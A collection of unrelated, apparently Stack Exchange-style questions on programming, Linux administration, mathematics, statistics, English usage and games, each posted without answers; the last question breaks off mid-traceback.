Throughout much of the movie, Rey losing her family and waiting for their return on Jakku is a great motivating force for her character.   Her romanticizing the Resistance and her eagerness and willing to join them, in addition to her natural gift with the Force, suggests that they are important.  So, who is Rey’s family?


c# regex extracting substrings from a string

I need to get all substrings that are placed between 2 signs.  For example substrings placed between ] and [:   abcabc]substrings[kkkkkkk]iwant[12345]tohave[!@#$%]   and I get: substrings iwant tohave  I tried (?<=\])(.*)(?=\[) but it returns substrings[kkkkkkk]iwant[12345]tohave.


Best way to implement keyboard shortcuts in a Windows Forms application?

I'm looking for a best way to implement common Windows keyboard shortcuts (for example Ctrl+F, Ctrl+N) in my  application in C#.  The application has a main form which hosts many child forms (one at a time). When a user hits Ctrl+F, I'd like to show a custom search form. The search form would depend on the current open child form in the application.  I was thinking of using something like this in the ChildForm_KeyDown event:     if (e.KeyCode == Keys.F && Control.ModifierKeys == Keys.Control)         // Show search form   But this doesn't work. The event doesn't even fire when you press a key. What is the solution?


How can you Google search for pages updated recently?

I seem to recall years ago Google had a feature where you could search for pages updated "last year", "last month", "last week" etc. Especially when searching through forums, is there's away to filter results that are really old?


Correct domain name for a home desktop Linux machine

I have several machines running Debian, and during install, I left the domain name field blank. This hasn't affected anything so far, but I'm curious what the correct thing to set that field to is if you don't have a registered web domain and your IP is dynamically set ( gives a different IP every few months). Apologies if this is a newb question, but I can't find any results via Google.  What is the proper domain name for a home desktop with a dynamic IP address?


How do I add a "show desktop" icon to dock on Ubuntu 17.10 like it was on Unity? I know I can show desktop by pressing Ctrl+Super+D but I need dock icon.


Why do we need different auxiliary verbs ("is", "are", "am") for different pronouns?

What is the purpose of having different auxiliary verbs ("is", "are", "am") for different pronouns ("He", "You", "I"...) instead of simply using "is" for all pronouns? It seems like the pronoun always exists in a sentences where the auxiliary verb that relates to it appears, so, to me, having different auxiliary verbs seems to serve the sole purpose of overcomplicating the language and making it more difficult to learn.


Why is sample standard deviation a biased estimator of $\sigma$?

According to the Wikipedia article on  the sample SD   $$s = \sqrt{\frac{1}{n-1} \sum_{i=1}^n (x_i - \overline{x})^2}$$  is a biased estimator of the SD of the population. It states that $E(\sqrt{s^2}) \neq \sqrt{E(s^2)}$.   NB. Random variables are independent and each $x_{i} \sim N(\mu,\sigma^{2})$   My question is two-fold:   What is the proof of the biasedness? How does one compute the expectation of the sample standard deviation    My knowledge of maths/stats is only intermediate.


How to remove the handles from this faucet

My bathroom faucet is leaking around the base of my right handle.  With previous faucets I've been able to use a set screw to loosen the handle and replace the washer.  With these, though, I can't seem to pop off the faucet handle.  Does anyone know how to remove this handle?  Does anyone know the brand of this faucet?  Update -- Nov 29th  I've already tried to get those cap ends off.  I tried to use some pliers and unscrew them, but couldn't remove it.  I tried taking a small flat head and popping off the ends.  Still nothing.  It doesn't seem like the come off.  I also tried unscrewing the handles, but they just don't see to turn for me.  Also there is definitely no set screw on the handles.  I've searched all around the faucet and found nothing indicating a set screw.


Particle Color based on where the particle is emitted?

Is it possible to change a particle's color to the color of the face/texture part it comes out of in cycles?  I want it to be the color of the face after shading and all that other stuff


I've been playing around with  for building things in Terraria and was wondering what are the stacking categories, for example fallen stars stack up to 99 and dirt stacks up to 999. Is there a certain category that stacks a certain way? What items stack at 99 and what items stack at 999?


Past tense and the phrase "who knows what"

The phrase "who knows what" and other variations of it refer to unknown things, for a lack of a better descriptor. When writing a story in the past tense, would this phrase change?  His pocket contained a key ring, spare coins, folded-up slips of paper, and who knows what else. Compared to: His pocket contained a key ring, spare coins, folded-up slips of paper, who knew what else.  Is using the present tense considered inconsistent? Is one preferable to the other?


Consider the ordinary differential cquation $y^{\prime}=y(y-1)(y-2)$ Which of the following statements is true ? (a) If $y(0)=0.5$ then $y$ is decreasing (b) If $y(0)=1.2$ then $y$ is increasing (c) If $y(0)=2.5$ then $y$ is unbounded (d) If $y(0)<0$ then $y$ is bounded below I solve using separation  of variable and get implicit relation as $\frac{ y(y-1)}{(y-2)^2}= A e^ {2x} $ Now this becomes very difficult to apply condition and find the value of $A$  and check option is there easy method  to solve such questions ?


Removing Guest Login Feature on Ubuntu 16.04 LTS

I just installed Ubuntu Linux (16.04 LTS) last night. This is the first copy of Linux I've installed. I did use Linux for maybe a few weeks over 10 years ago, but I was very young at the time and didn't really understand its significance.  One of the first things I wanted to do after using this operating system was remove the guest login feature out of an abundance of caution.  I did a Google search and came across this website that instructs one to enter a couple lines of code into a terminal window to remove the feature:   I wish I had done more research on the issue before entering this code (I guess since the domain looked legitimate, it showed up among the first Google Search results, the author seemed knowledgeable, and the code didn't "look" malicious, I assumed everything would work out the way it should). But, upon entering the first code and entering my password (see the code below), I got an error message that said the directory or file already exists. This is the code in question:   sudo mkdir /etc/lightdm/lightdm.conf.d   As I said, I believe the error message was letting me know that file or directory already exists. I then read the comments on the post and saw that people found inaccuracies in the code.  But when I entered the second piece of code (see below), I did not get an error message. Upon restarting my computer, the guest login feature was removed. The code:   sudo sh -c 'printf "[SeatDefaults]\nallow-guest=false\n" > /etc/lightdm/lightdm.conf.d/50-no-guest.conf'   For posterity's sake, this is how the author recommends reverting the code to bring back the guest login feature:   sudo rm /etc/lightdm/lightdm.conf.d/50-no-guest.conf   My concern is that, since the first piece of code seemed to give an error message or the like, this code may have done something untoward to the operating system. Could someone let me know if this is the case, or reassure me if it's not?  EDIT: 2017-07-05 @ 20:20 UTC  See also this newer thread that addresses my questions, "How Do I Revert Ubuntu 16.04 LTS to Its Original State? Is a Clean Install Necessary?"


Given the following limit,  $$\begin{align} \lim_{x\to 0}\frac{e^{-1/x^2}-0}{x-0}\\\\ & \end{align}$$  How do I calculate it? when pluggin in 0 I would get $\frac{0}{0}$


Can I install on Dell Studio 1535 laptop?

I have an old Dell Studio 1535 laptop running Vista.  It runs like garbage.  I'm thinking of purchasing a new laptop for most purposes, but thought I would repurpose the old one as a media player/backup/kids machine.  Any issues installing Ubuntu on it?  I've never installed linux before, and want it to be an easy installation experience.  I'm mainly worried about the wireless lan card and the HDMI output working.  If I can get online and use the HDMI output to a tv, I could use it as intended.  These are the rough specs I pulled:  Studio 1535 Broadcom 1397 wlan?? 3 GB ram 2.16 GHz Intel graphics


How many times do I have to roll a dice to get six six times in a row?

I wonder if there's any exact way to find out these two things about six-sided dice:   How many throws would be necessary to get six times the same number (let's say six) in a row? What's the probability of getting six times the same number (again, let's say six) in a row within 100 throws?   I wrote a simple simulation program in C and tried it on $100*2^{20}$ numbers, but I want to  compare my numbers and see if I can skip the programming part in future.  For the first question, I got number around $54160$, and for the second one it was $1861/1048576 \approx 0.001775$. I was told that my numbers should be smaller and bigger respectively. Is there any chance for my numbers to be OK? Otherwise it would mean that I made a mistake in my code.


$\sum_{n\geq 0}a_n$ converges iff $\sum_{n\geq 0} \frac{a_n}{\sum_{k=0}^n a_k}$ converges

The last problem I posted had a wrong statement. I recovered the correct one.  Let $(a_n)$ be a sequence of positive real numbers. Prove that $\sum_{n\geq 0}a_n$ converges iff $\displaystyle \sum_{n\geq 0} \frac{a_n}{\sum_{k=0}^n a_k}$ converges  The direct statement is easy to prove using comparison test. I'm (again!) stuck with the converse. I tried summation by part, without success. Note that the convergence of $\displaystyle \sum_{n\geq 0} \frac{a_n}{\sum_{k=0}^n a_k}$ implies $\displaystyle \frac{a_n}{\sum_{k=0}^n a_k} \to 0$ I don't know what to do next ...


I've decided to learn real analysis for the first exam about this subject at university but I'm not sure about which book to buy.  Please, can you suggest a good reference book?


How to resolve super user password problem

My super user password no longer works. My own fault I believe, messing around with usermod. Is there a way to resolve this? Using Ubuntu 14.04


Does there exists a onto continuos function $f\colon (0,1) \to[0,1]$ which is one to one .

Iam trying to solve this problem , i can visualize graphically it is not possible. iam trying to do the proof by contradiction. if f:(0,1) to [0,1] is a continuos onto function  then i have to prove that f can never be 1-1 . so iam letting that if f is 1-1 then either f is strictly increasing or strictly decreasing function. so case (1) if f is strictly increasing function then there exits some t in (0,1) such that f(t)=0 , so for x lesser than t f(x)k , f(x) <0 which is also not possible .so f can't be 1-1 . My method is right ??? is there is any alternative approach then plz tell


Can Conjure Animals beasts be used as mounts?

Is it possible to use the animals that are summoned using Conjure Animals as mounts?  As an example: Summoning Giant Eagles to carry a group up the mountain or over a wall.


First I installed KVM and Qemu on local machine to do some testing. Now I wanted to do so on a remote productive system. I can connect to the productive system from my laptop but not from local machine to remote productive system. The error message is:  Unable to connect to libvirt qemu+ssh://UserName@IpOfServer:Port/system.  Cannot recv data: Der Wert ist zu groß für den definierten Datentyp  Verify that the 'libvirtd' daemon is running on the remote host.  Libvirt URI is: qemu+ssh://UserName@IpOfServer:Port/system  Traceback (most recent call last):   File "/usr/share/virt-manager/virtManager/connection.py", line 1036, in _do_open     self._backend.open(self._do_creds_password)   File "/usr/share/virt-manager/virtinst/connection.py", line 144, in open     open_flags)   File "/usr/lib/python2.7/dist-packages/libvirt.py", line 105, in openAuth     if ret is None:raise libvirtError('virConnectOpenAuth() failed') libvirtError: Cannot recv data: Der Wert ist zu groß für den definierten Datentyp   I can login from local system via ssh to remote system,   libvirt-bin libvirt-clients libvirt-daemon  libvirt-daemon-system   is installed and my user is added to libvirt group but I can't get it to work.


If Equal to String Doesn't Work in Firestore Snapshot Listener

Building an Android chat app using Firebase Firestore database.   I wanted to check if a message in the database was sent by the current user, or another user. This way, I can display the chat bubbles right or left accordingly. However, I'm not able to compare as the comparison always returns "NOT TRUE", although I can't understand why. Check it out:  I'm comparing the userID with the sender's userID that I store in Firestore. They print out the same in the log. But when I compare them in an if-statement. It says they're not equal.   public void getLiveChatMessages(final ArrayList<ChatConversationMessage> messageArrayList) {     db.collection("users")             .document(userID)             .collection("conversations")             .document("conversation0") //Specified conversation             .collection("messages")             .addSnapshotListener(new EventListener<QuerySnapshot>() {                 @Override                 public void onEvent(@Nullable QuerySnapshot value,                                     @Nullable FirebaseFirestoreException e) {                     if (e != null) {                         Log.w(TAG, "Listen failed.", e);                         return;                     }                      for (QueryDocumentSnapshot doc : value) {                         if (doc.get("message") != null) {                             String messageSender = doc.getString("From user with ID");                              if (messageSender == userID){                                 Log.e(TAG, "the messageSender IS equal to the userID");                                 Log.e(TAG, "the messageSender: " + messageSender);                                 Log.e(TAG, "the userID: " + userID);                             } else {                                 Log.e(TAG, "the messageSender is NOT equal to the userID");                                 Log.e(TAG, "the messageSender: " + messageSender);                                 Log.e(TAG, "the userID: " + userID);                             }                         }                     Log.d(TAG, "Message: " + messageArrayList);                     }                  }             }); }   and here is my Log output:  E/chat: the messageSender is NOT equal to the userID  the messageSender: ypiXrobQxuZ0wplN5KO8gJR7Z4x2  the userID: ypiXrobQxuZ0wplN5KO8gJR7Z4x2  how can they not be equal???


What's the maximum hand luggage volume you can take with you to match all (or important) airline regulations considering only international connections?  In case my question is not clear, I'm looking for the one biggest carry-on bag that is accepted by all (or important) airlines on international connections. Accepted dimensions tend to be somewhat different on different airlines, meaning that a specific bag might be allowed on one airline, but not on another.  So, my question is what is the biggest bag that meets all (or important) airline requirements?


How to restrict a user from accessing a particular application?

I want to restrict an application being opened under ordinary privileges. Only root shall run the application, so that contents wont be seen by others and they wont change anything.


I'm trying to identify a novel about an alien race coming to Earth. They are rabbit-like.    I thought it was Niven or Pournell but I cannot remember the title.  It was Quotzal or something like that.


Show that if f is strictly increasing on A, then inverse f is strictly increasing on B

Let A, B ⊆ R, and let f : A → B be a bijective function. Show that if $f$ is strictly increasing on A, then $f^{-1}$ is strictly increasing on B.  How  would I write this proof? I think by contradiction but I don't know where to start.


I cant break blocks in minecraft but I can place them and do other things

My little brother was fooling around with the keys and I cant get it to break blocks. I can place blocks and perform other tasks.  I tried everything in settings but it just wont break blocks.  If anyone can explain how to fix this that would be great because right now I am totally MineCraftless and I need to play that game!!!!  Thank You


How do I create and tune an ext4 partition from the command-line?

PARTITIONING (e.g. fdisk) What are some useful commands used for partitioning an additional hard drive from the command-line? Since most published guides steer towards GParted and other graphical utilities, a summary of some command-line sequences would be helpful.  TUNING - RESERVED SPACE, WRITE-BACK & ACCESS TIMES How to remove the reserved disk space set aside (by default) in case the drive becomes 100% full.  Since I is a secondary drive simply for 'data', removing the reserved area ensures the whole drive is available for use.  I'm also curious about write-through vs. write-back and skipping the update of access times (on files and directories) so as to improve performance.


If G solvable and S a subgroup, then S is solvable

Let $G$ be a solvable group, and $S$ a subgroup. Prove that $S$ is solvable.  Let $G$ be solvable. Then there exists a sequence of subgroups $$ \{ e\}\triangleleft H_r\triangleleft H_{r-1}\cdots \triangleleft H_1 \triangleleft H_0=G $$ such that $H_{i+1}\triangleleft H_i$ for $i=0, ...r-1,$ and $H_i/H_{i+1}$ is abelian. If $S=H_i$, where $H_i$ is as above for $i\neq r$, then it is trivial. So we need to assume that $S\neq H_i.$ Let $N_S$ be the normalizer of $S$ in $G$. We know that $S\triangleleft N_S$ and $N_S$ is a subgroup of $G.$ Here I am stuck.  Can somebody propose a solution or give me some hint. Thanks.


Weird strange letters appeared in all website links

I have an issue with my new wordpress website running WooCommerce plugin.  There is a random letters added in all website links “?v=d3d4c5deb455”  I tried deactivating the addon’s and it didn't work - only the letters disappeared when I deactivate “WooCommerce” plugin ... which i cant really deactivated cause it an online store  I tried changing the theam and went back the default template  also it didn't work    Screenshot  Website : knzshop.com


I'm trying to compute the areas of the new layer I created by intersecting two layers.   How can I write a script that does something equivalent to clicking Export/Add geometry columns?


Say that I want to become an Animagus, and am really hoping to be a certain animal (say, a stag). I study a whole bunch and manage to perfect the technique. Do I get to pick the animal I wind up as, so that I wind up being a stag like I want? Or is it something where I just find out what I turn into (and if I wind up as a dung beetle, tough luck)?    This is not a duplicate of  because that question is about which animals an Animagus can potentially transform into. Mine is about if I can decide which potential animal I wind up being.


Counting occurrence of char character in Array list

I wanted to create a method to search through a array list to see if the objects in the array list end with the given char character and then return the count of the character as a int.   public int OccurencesOfCharacter(Char givenCharacter){ .... }   Here's my array List  private ArrayList<Class> list;   For example if the Array List Contained [ Games, iphones] and my given occurrence character was 's' i want to return 2 because it appears twice at the end of the strings.


I believe this is a bug?  Question-in-question:   User-related:


Is the word "mayor" capitalized when it follows the city name?  As in, San Francisco Mayor John Doe   or San Francisco mayor John Doe?


How do I upload 500 gigs on my wallpaper site?

I have a wallpaper site. I have around 500 gigs of wallpapers on my local computer. I want all of them to be uploaded on my site. I started uploading them on my site. But after uploading 40 gigs on the server, the hosting company tells me that there is a "Soft Limit" on the space. Initially they told me that it is unlimited because nobody uses that much space. Than I started searching on the internet and every hosting company has this "Soft Limit" of 40 gigs.They asked me to get a dedicated server. But it's way too costly for the site. I'm currently using host-gator. I thought of using image hosting services but they are not reliable and they don't allow hot-linking. What do I do? Has anyone faced this problem? Help me.


Using jQuery, how do I change the elements html value? (div)

Using a ajax request I want to change content of my div.
202
   So I want to change the content to a different number.  $('d1').InnerText???   Also, say I wanted to increment the number, how could I do that? Do I have to convert to int?


I understand the  as "The physics in a freely-falling small laboratory is that of special relativity (SR)." But I'm not quite sure why this is equivalent to "One cannot tell whether a laboratory on Earth is not actually in a rocket accelerating at 1 g".


is composition associative?  How do we define this?   I thought I could counter example this with integers and mappings  $f_1(x)=1$, and $f_2(x) = f_3(x)=2x.$  But I couldn't get it work on paper only in my head which means I am probably wrong thx


What is the VC dimension of a decision tree?

What is the  of a decision tree with k splits in two dimensions? Let us say the model is CART and the only allowed splits are parallel to the axes.  So for one split we can  and then for any labeling of the points we could get perfect prediction (i.e.: shattered points)  But what about 2 splits, or any general k?


How to tackle datasets where the dependent variables has around 80% 1's?

If my target variable has more 1's (say around 80%) than 0's then how do I handle such imbalanced data for building models using different methods such as GBM, RF, logistic regression, etc. Should I perform under sampling of 1's?


Can you find shadow orbs in terraria demo?

I have the PS vita demo, and was wondering if you could find any shadow orbs in that tutorial world. Thanks.


Could you please tell me which sentence is correct?   It's not worth learning many a language when you haven't got the opportunity to use them. It's not worth learning many a language when you haven't got the opportunity to use it.   Until now, I've only known that "many a + singular noun" takes a singular verb. Unfortunately, I've never heard about the correct pronoun for it.  Before I posted this question, I'd done some searching and  is the only one that I've found useful. But it seems to be a mere opinion, not an officially accepted usage or something like that. What I really want is a widely accepted usage.  Please enlighten me. Thanks in advance.  P/s: This is not a duplicate of . In other words, I've already known the use of "many" vs "many a". You can clearly see that my question isn't about "many" vs "many a". In addition to that, the link above refers to a question that doesn't even mention anything about "pronoun" while mine is mainly about it.


(I'll keep this one short)  Given a Dirichlet series  $$g(s)=\sum_{k=1}^\infty\frac{c_k}{k^s}$$  where $c_k\in\mathbb R$ and $c_k \neq 0$ (i.e., the coefficients are a sequence of arbitrary nonzero real numbers), and assuming that $g(s)$ can be analytically continued, does it follow that $g(s)$ possesses a critical strip containing its nontrivial zeroes?  If this does not generally hold, what restrictions should there be on the $c_k$ for $g(s)$ to possess a critical strip?  (My attempts at searching bring too much stuff on Riemann $\zeta$, with only a quick mention of general Dirichlet series; pointers to the literature would be appreciated.)


How many hyphens in University of Oxford-based?

If I attach "-based" to a compound noun, should I put a hyphen between every word? As in:     I worked for a University of Oxford-based company   Or:     I worked for a University-of-Oxford-based company   Granted, there are probably better ways of phrasing this. I'm just curious what the prescriptive usage on hyphens would be in this situation.


how do i make equals lowercase string to uppercase string

i am writing caeser cipher game. So When i start decrypt the cipher text, characters are written with uppercase. I need to make equal the uppercase string with the original one with the lowercase so that game can be finish. With this code it always continue even i finish decrypt the same string(a quote). Anyone knows how to do it ? str1, shr1 = cipher text.  User = 1 or 2 is the mods of the game so dont mind it.          String chose=str1;         while (user==1) {                do {                 System.out.println("Please enter a letter what you want to replace: ");                 String choose1 = in.next();                 System.out.println("Please enter a letter what you want to replace with it: ");                 String choose2 = in.next();                  chose = chose.replace(choose1,choose2.toUpperCase());                 System.out.println(chose);                    } while (chose!=str1);         }          String chose1 = shr1;         while (user==2) {                        do {                 System.out.println("Please enter a letter what you want to replace: ");                 String choose1 = in.next();                 System.out.println("Please enter a letter what you want to replace with it: ");                 String choose2 = in.next();                  chose1 = chose1.replace(choose1,choose2.toUpperCase());                 System.out.println(chose1);                       } while (chose1!=shr1);         }


Elementary set theory - are these sets empty?

we are asked to answer if the following statements are true or false, and why:  1) The set ${\{\emptyset\}^{\mathbb N}}$ has exactly $1$ element.  2) The set ${{\emptyset}^{\mathbb N}}$ is empty.  3) The set ${\mathbb N}^{\emptyset}$ is empty  4) $(\{1,2,3\}^{\mathbb N})$-$\{1,2\}^{\mathbb N}$=$\{3\}^{\mathbb N}$  What I tried doing:  I tried using the fact that $|A^B|=|A|^{|B|}$, so for the first question we get $1^{\aleph0}$ = 1  For the second question, same thing, we get $0$, but for the third question, we have a problem...I think that set is empty, but when I look at $\aleph0 ^0$ it should be 1...


If $\mathop{\mathrm{Spec}}A$ is not connected then there is a nontrivial idempotent

I'm solving a problem from Atiyah-Macdonald.      I have to show that if $X=\mathop{\mathrm{Spec}}A$ is not connected then $A$ contains idempotents $e \neq 0,1$.    The converse is easy. If $e \in A$ is an idempotent then $(e)+(1-e)=(1)$ and $(e)\cdot(1-e)=0$ so that $$   V(e) \cup V(1-e) = V(  (e) \cdot(1-e))=V(0) = X, \\   V(e) \cap V(1-e) = V( (e)+(1-e))=V(1)=\varnothing $$ then $V(e)$ and $V(1-e)$ are both closed and open and $X$ is not connected.   Now let $\mathfrak{a}$ and $\mathfrak{b}$ be ideals in $A$ such that $V(\mathfrak{a}) \cup V(\mathfrak{b})=X$, $V(\mathfrak{a}) \cap V(\mathfrak{b}) = \varnothing$. Then $$    V(\mathfrak{a}) \cup V(\mathfrak{b}) = V( \mathfrak{a} \cap \mathfrak{b} ) = X, $$ i.e. $\left\{ \mathfrak{p} - \text{prime} \mid \mathfrak{a} \cap \mathfrak{b} \subseteq \mathfrak{p}  \right\} = X$, i.e. $\mathfrak{a} \cap \mathfrak{b} \subseteq \cap \mathfrak{p} = \mathfrak{n}$ (nilradical). On the other hand since $$   V(\mathfrak{a}) \cap V(\mathfrak{b}) = V(\mathfrak{a}+\mathfrak{b})=\varnothing $$ we have $\left\{ \mathfrak{p} - \text{prime} \mid \mathfrak{a}+\mathfrak{b} \subseteq \mathfrak{p} \right\} = \varnothing$. Then $\mathfrak{a}+\mathfrak{b}=(1)$ because any ideal that is not equal to $(1)$ is contained in some maximal ideal. Then $\mathfrak{a}$ and $\mathfrak{b}$ are comprime and $\mathfrak{a} \cdot \mathfrak{b} = \mathfrak{a} \cap \mathfrak{b}$. So I have two ideals $\mathfrak{a}$ and $\mathfrak{b}$ with properties $$    \mathfrak{a} + \mathfrak{b} = (1), \\    \mathfrak{a} \cdot \mathfrak{b} = \mathfrak{a} \cap \mathfrak{b} = \mathfrak{n}. $$ I don't see any way to obtain a nontrivial idempotent $e \in A$ here. Please help me.


Name for the group comprised of Sunrise and Sunset

This is not a duplicate of:      I'm looking for the word which indentifies the group of "Sunrise" and "Sunset". For example "Volvo" and "Ford" could be members of groups called "cars" or "vehicles".  Instinctively I would call the group "Sun times" but I wonder if there is an official word?


How to I get the limit without using L’Hospital’s rule?

Sorry I haven't figured out how to properly write up questions on this yet. I have to get the limit as $x$ goes to $1$, of the function $- (x-1)/\log(x)$ without using L’Hospital’s rule, any suggestions?


When should I use SVG or SVGZ for my web graphics?

From my understanding,  The SVGZ is a compressed file type of an SVG. I love using SVG images and have had a lot of experience with them.   All of the times I used them I have never had a graphic that went over a few hundred kilobytes.  I use SVG for responsive graphics while making responsive websites. I also use them since my favorite design style is vector based graphics. My strongest design strength is illustrator, especially when it comes to graphic design.  The other reason I would use an SVG graphic is due to the ease of animating certain elements of the graphic, like arms, legs, etc.  Especially background elements, like a city to span across the entire page while I animate some flickering of lights and so on.  If the file is compressed, would it lose the SVG code so I couldn't animate it?  Is there any reason I should use an SVGZ over just an SVG?  Update  Well I decided to just make an SVG and SVGZ to see how they acted with the web since I found out my works ancient CS3 can save SVGZ!  After testing I ran into a very unexpected problem with the SVGZ file type. (Tested on Chrome, Firefox, and IE) If you go to the direct URL of the image you get an error. I am assuming you can't access the SVG code on these files types but after making a fiddle it doesn't even seem to display the image.  Are these useless for the web?


Partial fraction decomposition algorithm

So I was faced by this problem: If $p,q \in K[x]$, with $q = q_{0}^{\alpha_{0}} \dots  q_{m}^{\alpha_{m}}$, all of $q_{i}$ irreducible and $\alpha_{i}$ natural numbers. So, there is some $p_{0} \dots p_{m} \in K[x]$ where $$ \frac{p}{q}=\sum_{j = 0}^{m}\frac{p_{j}}{q_{j}^{\alpha_{j}}}. $$  So, at first sight, it looks a lot like the partial fractions decomposition, which we use a lot in Calculus, but I can't prove this. Any help, I will be appreciated. Thanks in advance!


Can someone explain to me what this **diff** means..?


I have an old laptop prone to overheating and a good solution I found was limiting it's CPU usage to below 50%.  On Windows, I can do this by changing the power plan I am currently using, and altering the Minimum CPU Usage and and Maximum CPU Usage properties.  Where can I do something similar on Ubuntu 12.04 LTS?


I attempted to log out with the following actions:    This accomplished absolutely nothing since I remained logged in after clicking "log out" on the confirmation page. I then tried logging out of Stack Exchange from one of the network sites and repeated the steps above. The results were the same. I remained logged in no matter which combination of steps I performed.  In fact, the only way I could log out at all was to clear all of the cookies that were set.


Getting values form multiple text boxes with same name

I am trying to get the value that is entered into a text box (string of characters) and display them. The text fields have a the same name which is "important". When I run this I get something like "testhtestetestltestltesto" which is suppose to be "test hello". This is just the first step into what I am trying to do. If anyone would like to give me a suggestion for the bigger issue see the paragraph after the code.  int i; var items = Request["important"]; for (i=0; i < items.Lenght; i++){     Response.Write("test" + items[i]); }   I have a list box that contains a number of "courses" which is populated by a sql statement. When the use selects an item in the list box it triggers a statement which writes input boxes for the corresponding course for users to enter in data about the course. I want the user to be able to select multiple courses and input information for these multiple course which will then be submitted and entered into a sql statement hopefully using a foreach statement. The problem is that I don't know how to grab each of the values from the boxes with the same name.


How to configure postgresql to use multiple cores?

How can I configure postgresql to use multiple cores in a single machine , is it automatically uses it ?


Wondering if any general guidelines whether using Mean or Median is better to represent the statistics of underlying data? I think using Median is always better, especially better when standard deviation is large for a data set.  Your advice is appreciated.


How can I convert an input with the 16-bit Sigma delta A/D converter

Could you help me with this question? I have some difficulties to answer it. The question is from the PIC24FJ128GC010 family datasheet and after some research I just know the meaning of the different values :  SDGAIN value is that the S/D Gain Control bits equal to 2. SDREFP ( S/D Positive Reference Source Select bit) is on SVref+ pin. SDREFN (S/D Negative Reference Source Select bit) is on SVSS pin.  EDIT : The reference voltage source pin is VREF+, so we need to know this voltage. And the answer that can be eliminated is the one that mentions SVDD. But I still don't know how to make the conversion result.


I want to install chrome and enter the source list  when doing sudo apt-get update there is an error as follows:  E: Type 'Debb' is not known on line 1 in source list /etc/apt/sources.list.d/google.list E: The list of sources could not be read.   how do I fix it?


If $G$ is a group and $H<G$ and $|G:H|=2$ prove that for each $a\in H$, $aH=Ha$

Question:    If $G$ is a group and $H<G$ and $|G/H|=2$ prove that for each $a\in H$, $aH=Ha$      Can someone please provide some imagination of $G/H$? ( And also provide at least a hint on the question? )


Using struct as private member to define ListNode within link list class

i am trying to implement a LinkList class with a struct as my private member, however, when i try to define the struct ListNode under the LinkList.ccp, the compiler says that the pointer is not defined. The error is on the high lighted line  #ifndef LINKLIST_H #define LINKLIST_H  #include <iostream> using namespace std;  template <typename T> class LinkList{ private:     struct ListNode{         T item;         ListNode * next;     };     int size; // the size of the listNodes.     ListNode* _head;  public:     LinkList(); // constructor     void giveup(int n);     bool isEmpty();     int getLength();      ListNode * find(int index); };  #endif  #include "LinkList.h"  template <typename T> LinkList<T>::LinkList(){     _head = NULL;     size = 0; }  template <typename T> void LinkList<T>::giveup(int n){     cout << "The error " << n << " has occured" << endl; }  template <typename T> bool LinkList<T>::isEmpty(){     return (size == 0); }  template <typename T> int LinkList<T>::getLength(){     return size; }  template <typename T> ***ListNode * LinkList<T>::find(int index){ // pointer not defined***     if(index < 1 || index > size){         return NULL;     }     ListNode * currentNode = _head;     for(int pos =2; pos <=index; pos++){         currentNode = currentNode->next;     }     return currentNode; }


Upgrade to Ubuntu 14.10 problem (Not detecting Windows)

My ubuntu Grub not detecting my Windows 7 after upgrading to Ubuntu 14.10. What should i do?


Graph for relationship between two ordinal variables

What is an appropriate graph to illustrate the relationship between two ordinal variables?  A few options I can think of:   Scatter plot with added random jitter to stop points hiding each other. Apparently a standard graphic - Minitab calls this an "individual values plot". In my opinion it may be misleading as it visually encourages a kind of linear interpolation between ordinal levels, as if the data were from an interval scale. Scatter plot adapted so that size (area) of point represents frequency of that combination of levels, rather than drawing one point for each sampling unit. I have occasionally seen such plots in practice. They can be hard to read, but the points lie on a regularly-spaced lattice which somewhat overcomes the criticism of the jittered scatter plot that it visually "intervalises" the data. Particularly if one of the variables is treated as dependent, a box plot grouped by the levels of the independent variable. Likely to look terrible if the number of levels of the dependent variable is not sufficiently high (very "flat" with missing whiskers or even worse collapsed quartiles which makes visual identification of median impossible), but at least draws attention to median and quartiles which are relevant descriptive statistics for an ordinal variable. Table of values or blank grid of cells with heat map to indicate frequency. Visually different but conceptually similar to the scatter plot with point area showing frequency.   Are there other ideas, or thoughts on which plots are preferable? Are there any fields of research in which certain ordinal-vs-ordinal plots are regarded as standard? (I seem to recall frequency heatmap being widespread in genomics but suspect that is more often for nominal-vs-nominal.) Suggestions for a good standard reference would also be very welcome, I am guessing something from Agresti.  If anyone wants to illustrate with a plot, R code for bogus sample data follows.  "How important is exercise to you?" 1 = not at all important, 2 = somewhat unimportant, 3 = neither important nor unimportant, 4 = somewhat important, 5 = very important.  "How regularly do you take a run of 10 minutes or longer?" 1 = never, 2 = less than once per fortnight, 3 = once every one or two weeks, 4 = two or three times per week, 5 = four or more times per week.  If it  would be natural to treat "often" as a dependent variable and "importance" as an independent variable, if a plot distinguishes between the two.  importance <- rep(1:5, times = c(30, 42, 75, 93, 60)) often <- c(rep(1:5, times = c(15, 07, 04, 03, 01)), #n=30, importance 1            rep(1:5, times = c(10, 14, 12, 03, 03)), #n=42, importance 2            rep(1:5, times = c(12, 23, 20, 13, 07)), #n=75, importance 3            rep(1:5, times = c(16, 14, 20, 30, 13)), #n=93, importance 4            rep(1:5, times = c(12, 06, 11, 17, 14))) #n=60, importance 5 running.df <- data.frame(importance, often) cor.test(often, importance, method = "kendall") #positive concordance plot(running.df) #currently useless   A related question for continuous variables I found helpful, maybe a useful starting point:


For prime $p$ and $q$, $2p^2=1+q^2$ are there many solutions?

For the primes $5$ and $7$, $$2 \times 5^2=1+7^2$$ and for the primes $29$ and $41$, $$2 \times 29^2=1+41^2$$ Can you find more solutions with primes $p$ and $q$ such that, $$2 \times p^2=1+q^2$$ and so become famous with a sequence for OEIS?


UnicodeDecodeError -- save a Python newbie

EDIT: I appreciate that my question may have been answered previously, though I'm not sure that it was answered in the linked post. Regardless, what I'm trying to say is that I'm so new to this that even if the answer is there, I don't quite understand how to apply it to my situation. If anyone can help make it a little more explicit, I'd appreciate it.   I've got literally less than 24 hours of Python experience, so I hope you'll overlook my inability to apply advice from other threads to my own question.  I'm using BeautifulSoup to pull down a table, but I'm getting weird results. I'm inputting the following:   # -*- coding: utf-8 -*- #Fetch table  import sys import requests from bs4 import BeautifulSoup  r = requests.get('http://www.nrc.gov/reactors/operating/list-power-reactor-units.html')  html_soup = BeautifulSoup(r.text)  table = html_soup.find('table') for row in table.find_all('tr')[1:]:     col = row.find_all('td')     print col[0].find('a').get('href') # link     print col[0].find('a').contents[0] # name     print col[1].string     print col[2].string     print col[3].string     print col[4].string   I'm almost certain I've watched someone else use the exact same code without a problem, but I'm getting crap. When I run it from the command prompt, it prints the majority of the table data correctly until it reaches an en dash about two-thirds of the way through, at which point it gives me this:  Traceback (most recent call last):   File "C:\Python27\test\scrape.py", line 18, in <module>     print col[3].string   File "C:\Python27\lib\encodings\cp437.py", line 12, in encode     return 